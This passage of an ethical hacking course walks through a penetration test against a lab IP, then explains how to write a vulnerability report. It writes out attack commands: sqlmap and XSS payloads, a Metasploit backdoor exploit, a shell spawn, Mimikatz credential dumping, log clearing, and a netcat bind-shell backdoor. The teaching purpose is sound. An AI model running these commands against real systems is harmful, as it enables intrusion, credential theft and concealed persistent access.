✓ Detect **open ports & services**:

nmap -sV -A 192.168.1.10

📌 **Expected Output:**

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2

80/tcp open http Apache 2.4.41

3306/tcp open mysql MySQL 5.7

✓ If **port 3306 (MySQL)** is open, it may indicate **database vulnerabilities**.

📌 **Step 3: Scanning for Vulnerabilities**

🔹 **3.1 Web Application Vulnerability Scanning**

✓ Use **Nikto** to find misconfigurations and security flaws:

nikto -h http://192.168.1.10

✓ Scan for **known web vulnerabilities**:

wpscan --url http://192.168.1.10 --enumerate vp

📌 **Expected Output:**

✓ Outdated **Apache version detected** with a known vulnerability.

🔹 **3.2 Network & System Vulnerability Scanning**

✓ Use **Nmap's NSE scripts** for in-depth security checks:

nmap --script=vuln 192.168.1.10

✓ Run **OpenVAS** for comprehensive vulnerability scanning.

📌 **Step 4: Exploitation & Gaining Access**

🔹 **4.1 Exploiting Web Application Vulnerabilities**

✓ Test for **SQL Injection (SQLi)**:

sqlmap -u "http://192.168.1.10/login.php?user=admin" --dbs

📌 **Expected Output:**

✓ Retrieves database names, indicating **SQL injection vulnerability**.

✓ Test for **Cross-Site Scripting (XSS)**:

<script>alert('Hacked!');</script>

✓ If the script executes in the browser, the site is **XSS vulnerable**.

🔹 **4.2 Exploiting System Vulnerabilities**

✓ Use **Metasploit** to exploit known vulnerabilities:

msfconsole

use exploit/unix/ftp/vsftpd_234_backdoor

set RHOST 192.168.1.10

exploit

📌 **Expected Outcome:**

✓ Gains a **reverse shell** if the system is vulnerable.

📌 **Step 5: Privilege Escalation**

🔹 **5.1 Check for Misconfigured SUID Binaries (Linux)**

find / -perm -4000 -type f 2>/dev/null

✓ If **/usr/bin/python** has SUID, escalate privileges:

python -c 'import pty; pty.spawn("/bin/bash")'

📌 **Outcome: Root access gained.**

🔹 **5.2 Exploiting Weak Windows Privileges**

✓ Dump **Windows credentials** using Mimikatz:

mimikatz

privilege::debug

sekurlsa::logonpasswords

📌 **Expected Output:**

✓ Retrieves **password hashes** for further exploitation.

📌 **Step 6: Post-Exploitation & Data Extraction**

✓ Search for **sensitive files**:

find / -name "*.conf"

✓ Capture **user credentials**:

cat /etc/passwd

✓ Exfiltrate **database contents**:

mysqldump -u root -p database_name > dump.sql

📌 **Outcome: Critical data extracted**.

📌 **Step 7: Covering Tracks & Maintaining Access**

✓ **Clear log files** to remove traces:

echo > ~/.bash_history

✓ **Create a persistent backdoor**:

nc -lvnp 4444 -e /bin/bash

📌 **Outcome: Maintain remote access** without detection.

📌 **Step 8: Reporting Findings & Recommendations**

🔹 **8.1 Penetration Test Report Format**

✅ **Target Information** – IP, system details.
✅ **Vulnerabilities Found** – SQLi, weak passwords, outdated software.
✅ **Exploitation Methods** – Commands & tools used.
✅ **Impact Analysis** – Risk level of vulnerabilities.

✅ **Mitigation Recommendations** – Security patches, configuration changes.

📌 **Example Report Entry:**

Vulnerability: SQL Injection (SQLi)

Affected URL: http://192.168.1.10/login.php

Exploit Used: sqlmap -u "http://192.168.1.10/login.php?user=admin" --dbs

Impact: Allowed unauthorized access to database.

Mitigation: Implement parameterized queries and input validation.

📌 **Step 9: Securing the Target System**

✓ **Use strong authentication (MFA, complex passwords).**
✓ **Disable unnecessary open ports (firewall rules).**
✓ **Apply system updates and security patches.**
✓ **Encrypt sensitive data at rest and in transit.**

📌 **Example:**
A company enables **2FA and firewall rules** to block unauthorized access.

📌 **Step 10: Summary & Next Steps**

✅ **Key Takeaways**
✓ Penetration testing **identifies security weaknesses** in systems.
✓ Tools like **Nmap, Metasploit, and SQLmap** help exploit vulnerabilities.
✓ **Privilege escalation techniques** provide administrative access.

✓ **Security measures like patching and encryption** help mitigate risks.

📌 **Next Steps:**

- **Practice penetration testing in TryHackMe & Hack The Box.**
- **Implement penetration testing as part of cybersecurity best practices.**
- **Stay updated on the latest exploits and security trends.** 🚀

📌 ASSIGNMENT 2:

☑ DOCUMENT VULNERABILITIES AND CREATE AN ETHICAL HACKING REPORT.

📌 Solution 2: Documenting Vulnerabilities & Creating an Ethical Hacking Report

🎯 Objective

The goal of this assignment is to **document vulnerabilities** identified during a penetration test and create an **ethical hacking report**. The report will provide **detailed insights into security flaws, their impact, exploitability, and remediation recommendations**.

📌 Step 1: Understanding the Structure of an Ethical Hacking Report

A **well-structured ethical hacking report** contains the following sections:

1. **Executive Summary** – Overview of the assessment findings.
2. **Scope & Methodology** – Defines the testing environment and techniques used.
3. **Findings & Analysis** – Lists identified vulnerabilities with risk ratings.
4. **Exploit Details** – Technical insights into how vulnerabilities were exploited.
5. **Recommendations** – Best practices to mitigate risks.
6. **Conclusion** – Summary of the engagement.

📌 Example:

A penetration test reveals **SQL Injection, XSS, and weak authentication** in a web application. The report details **how these vulnerabilities were found, their impact, and remediation steps**.

📌 Step 2: Documenting Identified Vulnerabilities

Each vulnerability should be **thoroughly documented** using the following structure:

🔸 2.1 Sample Vulnerability Documentation Format

Field	Description
Vulnerability Name	Descriptive title of the vulnerability
Affected System	System, application, or component affected
Severity	Risk rating (Critical/High/Medium/Low)
Impact	How it affects confidentiality, integrity, availability
Proof of Concept (PoC)	Steps to exploit the vulnerability
Remediation	Suggested fixes to mitigate the risk

📌 Example:

Vulnerability: SQL Injection

Affected System: Web Application (Login Page)

Severity: High

Impact: Allows attackers to bypass authentication and extract sensitive data

Proof of Concept: Injected `' OR '1'='1' --` into the login field and gained unauthorized access

Remediation: Implement parameterized queries and input validation

📌 Step 3: Writing the Ethical Hacking Report

🔹 3.1 Executive Summary

✓ **Provide a high-level overview** of the assessment.
✓ Summarize **key vulnerabilities found and their impact**.
✓ Use **non-technical language** for management-level readers.

📌 Example:

The security assessment revealed multiple vulnerabilities in the company's web application, including SQL Injection and Cross-Site Scripting (XSS).

If exploited, these vulnerabilities could allow unauthorized access, data leakage, and system compromise. Immediate remediation is recommended.

🔹 3.2 Scope & Methodology

✓ Define **what was tested** (web application, network, IoT device).
✓ List **testing methods** used (black-box, gray-box, white-box).
✓ Mention **tools** used (Nmap, Burp Suite, Wireshark, Metasploit).

📌 Example:

Scope:

- The assessment targeted the organization's customer portal (https://portal.example.com).

- Testing was conducted in a controlled environment with permission.

Methodology:

- Reconnaissance: Identified open ports and services using Nmap.

- Web Application Testing: Performed SQL Injection and XSS testing.

- Exploitation: Demonstrated the impact of vulnerabilities using Metasploit.

3.3 Findings & Analysis (Documenting Vulnerabilities)

Example 1: SQL Injection Vulnerability

Field	Details
Vulnerability Name	SQL Injection
Affected System	Web Application (Login Page)
Severity	High
Impact	Attackers can bypass authentication and access sensitive data
Proof of Concept (PoC)	Injecting ' OR '1'='1' -- in the login field granted unauthorized access
Tools Used	Burp Suite, SQLmap
Remediation	Implement parameterized queries, validate user input

---

Example 2: Cross-Site Scripting (XSS)

Field	Details

Vulnerability Name	Cross-Site Scripting (XSS)
Affected System	Web Application (Comment Section)
Severity	Medium
Impact	Attackers can execute malicious scripts in users' browsers
Proof of Concept (PoC)	Entering <script>alert('XSS')</script> in the comment field executed JavaScript
Tools Used	Burp Suite, OWASP ZAP
Remediation	Sanitize user input, implement Content Security Policy (CSP)

🔸 **3.4 Exploit Details & Proof of Concept (PoC)**

🔹 **Example: Exploiting SQL Injection**

🛠 Step 1: Identifying SQL Injection Vulnerability

Intercepted login request using **Burp Suite**:

POST /login HTTP/1.1

Host: portal.example.com

username=admin' OR '1'='1' -- &password=123456

📌 **Outcome:**

✓ Successfully **bypassed authentication** and accessed admin panel.

🛠 Step 2: Extracting Data Using SQLmap

sqlmap -u "https://portal.example.com/login" --dbs

📌 **Outcome:**

✓ Retrieved **database names, user credentials, and payment records**.

🔸 3.5 Recommendations & Security Best Practices

✓ Implement Strong Input Validation:

- Use **regular expressions** to restrict input.
- Reject **special characters** that can be used in SQL Injection or XSS attacks.

✓ Enforce Secure Authentication:

- Use **multi-factor authentication (MFA)**.
- Enforce **strong password policies** (12+ characters, uppercase, lowercase, symbols).

✓ Use Security Headers:

- Enable **Content Security Policy (CSP)** to prevent XSS.
- Implement **HTTP Strict Transport Security (HSTS)** to enforce HTTPS.

📌 **Example:**

Recommendation: Implement parameterized queries for all database interactions.

Example Secure Query:

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
```

✓ **Prevents SQL Injection** by **separating SQL logic from user input**.

🔸 3.6 Conclusion

✓ Summarize **key vulnerabilities identified**.
✓ Provide a **risk assessment** (e.g., low, medium, high, critical).
✓ Outline **next steps** for remediation and security improvements.

📌 Example:

The penetration test revealed multiple high-risk vulnerabilities that could compromise user data and system integrity.

Immediate corrective actions should be implemented, including input validation, strong authentication measures, and regular security assessments.

📌 Step 4: Ethical Hacking Report Template

📜 [Sample Ethical Hacking Report Template]

📌 Title: Ethical Hacking Assessment Report – [Project Name]

1. Executive Summary

- Overview of the security assessment.
- Summary of vulnerabilities found.

2. Scope & Methodology

- Target systems and testing techniques.
- Tools used.

3. Findings & Analysis

- **Vulnerability 1: SQL Injection**
- **Vulnerability 2: Cross-Site Scripting (XSS)**
- **Vulnerability 3: Weak Authentication**

4. Proof of Concept (PoC)

- Screenshots and exploit details.
- Sample attack payloads.

5. Recommendations

- Best security practices to fix vulnerabilities.

6. Conclusion

- Risk assessment and suggested next steps.

📌 Step 5: Summary & Next Steps

✅ Key Takeaways

✓ A well-structured ethical hacking report helps organizations fix security flaws.

✓ Vulnerabilities should be documented with PoC and remediation steps.

✓ Prioritize high-risk issues and implement strong security measures.

📌 Next Steps:

🔹 Submit the report to the security team for review.

🔹 Monitor for further vulnerabilities using regular penetration tests.

🔹 Stay updated on emerging cybersecurity threats. 🚀